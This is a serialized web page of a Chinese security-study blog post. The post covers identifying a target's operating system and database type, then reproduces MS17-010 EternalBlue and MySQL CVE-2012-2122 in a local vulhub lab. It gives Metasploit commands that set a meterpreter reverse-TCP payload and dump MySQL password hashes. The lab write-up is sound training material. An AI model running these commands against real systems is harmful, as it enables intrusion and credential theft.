[{"data":1,"prerenderedAt":451},["ShallowReactive",2],{"content:\u002F2026\u002Fweb-01":3,"surround:\u002F2026\u002Fweb-01":446},{"id":4,"title":5,"body":6,"categories":406,"date":408,"description":409,"draft":410,"extension":411,"image":412,"meta":413,"navigation":415,"path":416,"permalink":417,"published":417,"readingTime":418,"recommend":423,"references":417,"seo":424,"sitemap":425,"stem":437,"tags":438,"type":443,"updated":444,"__hash__":445},"content\u002Fposts\u002F2026\u002Fweb-01.md","Web安全学习笔记(一):操作系统与数据库识别",{"type":7,"value":8,"toc":385},"minimark",[9,16,20,25,28,35,41,44,50,56,59,63,66,77,80,84,87,90,93,103,106,117,121,124,233,236,241,244,258,262,265,268,271,275,278,285,288,296,299,305,311,317,320,326,330,336,342,348,354,360,366,372,379],[10,11,12],"blockquote",{},[13,14,15],"p",{},"免责声明:本文所有实操均在本地虚拟机与 vulhub 靶场环境中完成,仅供安全学习交流,请勿对任何未授权目标进行测试。",[17,18,19],"h2",{"id":19},"识别操作系统",[21,22,24],"h3",{"id":23},"利用大小写区分-windows-linux","利用大小写区分 Windows \u002F Linux",[13,26,27],{},"Windows 的文件系统不区分大小写,而 Linux 区分,可以利用这一点判断目标系统。",[13,29,30],{},[31,32],"img",{"alt":33,"src":34},"Snipaste_2026-10-18_23-51-17","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F01-case-test-windows-1.png",[13,36,37],{},[31,38],{"alt":39,"src":40},"Snipaste_2026-10-18_14-21-21","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F02-case-test-windows-2.png",[13,42,43],{},"将 index.php 改成 index.phP 后页面仍然可以正常访问,说明这是 Windows 服务器。",[13,45,46],{},[31,47],{"alt":48,"src":49},"image-20261018235344090","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F03-case-test-linux-1.png",[13,51,52],{},[31,53],{"alt":54,"src":55},"Snipaste_2026-10-18_14-28-04","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F04-case-test-linux-2.png",[13,57,58],{},"把 blog 改成 bloG 就报错,说明该网站是 Linux 服务器。",[21,60,62],{"id":61},"通过-nmap-扫描","通过 nmap 扫描",[13,64,65],{},"先通过 ping 拿到靶机的 IP 地址,再用 nmap 对这个 IP 进行扫描:",[67,68,74],"pre",{"className":69,"code":71,"language":72,"meta":73},[70],"language-bash","nmap -O \u003C靶机IP>\n","bash","",[75,76,71],"code",{"__ignoreMap":73},[13,78,79],{},"nmap 会给出操作系统的猜测结果和置信度。注意:如果目标绝大多数端口被防火墙过滤,nmap 找不到足够的开放\u002F关闭端口做对比,OS 识别结果就可能不可靠,需要结合 TTL、服务指纹等其他线索综合判断。",[21,81,83],{"id":82},"为什么要区分操作系统","为什么要区分操作系统?",[13,85,86],{},"操作系统决定了下一步怎么走。如果不知道目标是什么系统,连配置文件在哪、密码存哪、怎么提权这些都无法判断。",[17,88,89],{"id":89},"数据库",[21,91,92],{"id":92},"静态网站与动态网站",[94,95,96,100],"ul",{},[97,98,99],"li",{},"静态网站:由预先生成的固定 HTML 文件组成。",[97,101,102],{},"动态网站:在用户访问时由服务器实时生成页面内容(通常依赖数据库和后端程序)。",[21,104,105],{"id":105},"数据库的规模分类",[94,107,108,111,114],{},[97,109,110],{},"小型数据库:如 Excel、Access",[97,112,113],{},"中型数据库:如 MySQL",[97,115,116],{},"中大型数据库:如 Oracle(RAC 集群)",[21,118,120],{"id":119},"怎么识别数据库类型","怎么识别数据库类型?",[13,122,123],{},"不同脚本类型对应的常用数据库如下:",[125,126,127,146],"table",{},[128,129,130],"thead",{},[131,132,133,137,140,143],"tr",{},[134,135,136],"th",{},"脚本\u002F语言",[134,138,139],{},"常配数据库",[134,141,142],{},"常见 Web 服务器",[134,144,145],{},"典型环境",[147,148,149,164,177,191,205,219],"tbody",{},[131,150,151,155,158,161],{},[152,153,154],"td",{},"ASP(老)",[152,156,157],{},"Access、SQL Server",[152,159,160],{},"IIS",[152,162,163],{},"Windows 老旧网站",[131,165,166,169,172,174],{},[152,167,168],{},"ASP.NET(.aspx\u002F.ashx)",[152,170,171],{},"SQL Server、Access",[152,173,160],{},[152,175,176],{},"Windows 企业站、政务系统",[131,178,179,182,185,188],{},[152,180,181],{},"PHP(.php)",[152,183,184],{},"MySQL \u002F MariaDB,偶尔 PostgreSQL、SQLite",[152,186,187],{},"Apache、Nginx(LAMP\u002FLNMP),宝塔面板",[152,189,190],{},"绝大多数中小网站、CTF",[131,192,193,196,199,202],{},[152,194,195],{},"JSP(Java)(.jsp\u002F.do\u002F.action)",[152,197,198],{},"Oracle、MySQL、DB2、SQL Server",[152,200,201],{},"Tomcat、WebLogic、JBoss",[152,203,204],{},"银行、政企、大型系统",[131,206,207,210,213,216],{},[152,208,209],{},"Python(Django\u002FFlask)",[152,211,212],{},"PostgreSQL、MySQL、SQLite(开发期)",[152,214,215],{},"Nginx + Gunicorn\u002FuWSGI",[152,217,218],{},"新兴互联网、工具类站点",[131,220,221,224,227,230],{},[152,222,223],{},"Node.js",[152,225,226],{},"MongoDB、MySQL、Redis",[152,228,229],{},"Nginx 反代 + Express 等",[152,231,232],{},"实时应用、前后端分离后端",[21,234,235],{"id":235},"常见数据库默认端口",[13,237,238],{},[31,239],{"alt":235,"src":240},"https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F05-common-ports.png",[13,242,243],{},"PORT 是端口号,SERVICE 是该端口对应的服务,常见数据库默认端口:",[94,245,246,249,252,255],{},[97,247,248],{},"MySQL \u002F MariaDB:3306",[97,250,251],{},"Oracle Database:1521",[97,253,254],{},"SQLite:无端口(嵌入式文件数据库)",[97,256,257],{},"PostgreSQL:5432",[21,259,261],{"id":260},"为什么要区分数据库","为什么要区分数据库?",[13,263,264],{},"和区分操作系统一样,数据库类型决定了漏洞的影响范围和攻击方法的选择。",[17,266,267],{"id":267},"实操",[13,269,270],{},"以下操作全部在本地靶场环境完成。",[21,272,274],{"id":273},"操作系统漏洞ms17-010-永恒之蓝","操作系统漏洞:MS17-010 永恒之蓝",[13,276,277],{},"在 vulhub 下载靶场,这里我用 Kali 来进行操作。",[13,279,280,281,284],{},"启动 ",[75,282,283],{"code":283},"msfconsole",":",[13,286,287],{},"搜索 MS17-010 相关模块:",[67,289,294],{"className":290,"code":292,"language":293},[291],"language-text","msf6 > search ms17-010\n","text",[75,295,292],{"__ignoreMap":73},[13,297,298],{},"选择永恒之蓝模块并配置监听载荷:",[67,300,303],{"className":301,"code":302,"language":293},[291],"msf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 > set payload windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 > show options\n",[75,304,302],{"__ignoreMap":73},[13,306,307],{},[31,308],{"alt":309,"src":310},"Snipaste_2026-10-18_23-58-54","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F06-msfconsole.png",[13,312,313],{},[31,314],{"alt":315,"src":316},"Snipaste_2026-10-19_00-02-04","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F07-search-ms17-010.png",[13,318,319],{},"设置本机 IP 与靶机 IP 后运行:",[67,321,324],{"className":322,"code":323,"language":293},[291],"msf6 > set lhost \u003C你的IP(Kali的IP)>\nmsf6 > set rhosts \u003C靶机IP>\nmsf6 > run\n",[75,325,323],{"__ignoreMap":73},[21,327,329],{"id":328},"数据库漏洞mysql-cve-2012-2122-认证绕过","数据库漏洞:MySQL CVE-2012-2122 认证绕过",[67,331,334],{"className":332,"code":333,"language":72,"meta":73},[70],"ifconfig                 # 查看IP\ncd \u002Fvulhub\u002Fmysql\u002FCVE-2012-2122\nsudo docker-compose up -d\n",[75,335,333],{"__ignoreMap":73},[67,337,340],{"className":338,"code":339,"language":72,"meta":73},[70],"nmap -sV -O \u003C你的IP>\n",[75,341,339],{"__ignoreMap":73},[67,343,346],{"className":344,"code":345,"language":293},[291],"msf6 > search mysql\n",[75,347,345],{"__ignoreMap":73},[13,349,350],{},[31,351],{"alt":352,"src":353},"Snipaste_2026-10-19_00-09-20","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F10-search-mysql.png",[67,355,358],{"className":356,"code":357,"language":293},[291],"msf6 > use auxiliary\u002Fscanner\u002Fmysql\u002Fmysql_authbypass_hashdump\nmsf6 > show options\n",[75,359,357],{"__ignoreMap":73},[13,361,362],{},[31,363],{"alt":364,"src":365},"Snipaste_2026-10-19_00-09-51","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F11-mysql-module-options.png",[67,367,370],{"className":368,"code":369,"language":293},[291],"msf6 > set rhosts 127.0.0.1\nmsf6 > set threads 100\nmsf6 > run\n",[75,371,369],{"__ignoreMap":73},[13,373,374,375,378],{},"当出现 ",[75,376,377],{"code":377},"Hash Table has been saved: \u002Fhome\u002Fkali\u002F.msf4\u002Floot\u002F..._mysql.hashes_xxx.txt"," 的提示时,说明已经成功导出密码哈希。",[13,380,381],{},[31,382],{"alt":383,"src":384},"Snipaste_2026-10-19_00-10-36","https:\u002F\u002Fzelia.top\u002Fimages\u002Fweb-01\u002F12-mysql-hashes.png",{"title":73,"searchDepth":386,"depth":386,"links":387},4,[388,395,402],{"id":19,"depth":389,"text":19,"children":390},2,[391,393,394],{"id":23,"depth":392,"text":24},3,{"id":61,"depth":392,"text":62},{"id":82,"depth":392,"text":83},{"id":89,"depth":389,"text":89,"children":396},[397,398,399,400,401],{"id":92,"depth":392,"text":92},{"id":105,"depth":392,"text":105},{"id":119,"depth":392,"text":120},{"id":235,"depth":392,"text":235},{"id":260,"depth":392,"text":261},{"id":267,"depth":389,"text":267,"children":403},[404,405],{"id":273,"depth":392,"text":274},{"id":328,"depth":392,"text":329},[407],"web","2026-09-15 11:27:25","记录 Web 安全入门的第一课:如何识别目标的操作系统与数据库类型,并在本地 vulhub 靶场复现 MS17-010 永恒之蓝与 MySQL CVE-2012-2122 认证绕过。",false,"md","\u002Fimages\u002Fcovers\u002Ftutu-04.jpg",{"slots":414},{},true,"\u002F2026\u002Fweb-01",null,{"text":419,"minutes":420,"time":421,"words":422},"4 min read",3.99,239400,798,1,{"title":5,"description":409},{"loc":416,"images":426},[427,428,429,430,431,432,433,434,435,436],{"loc":34},{"loc":40},{"loc":49},{"loc":55},{"loc":240},{"loc":310},{"loc":316},{"loc":353},{"loc":365},{"loc":384},"posts\u002F2026\u002Fweb-01",[439,440,441,442],"Web安全","渗透测试","Metasploit","vulhub","tech","2026-10-18 23:40:00","nKoa6s8laVgDw0By-qdnfqvHwbGxPLx9d_fI6ly3HTg",[417,447],{"title":448,"path":449,"stem":450,"date":408,"type":443,"children":-1},"zelia","\u002F2026\u002Fzelia","posts\u002F2026\u002Fzelia",1793524344822]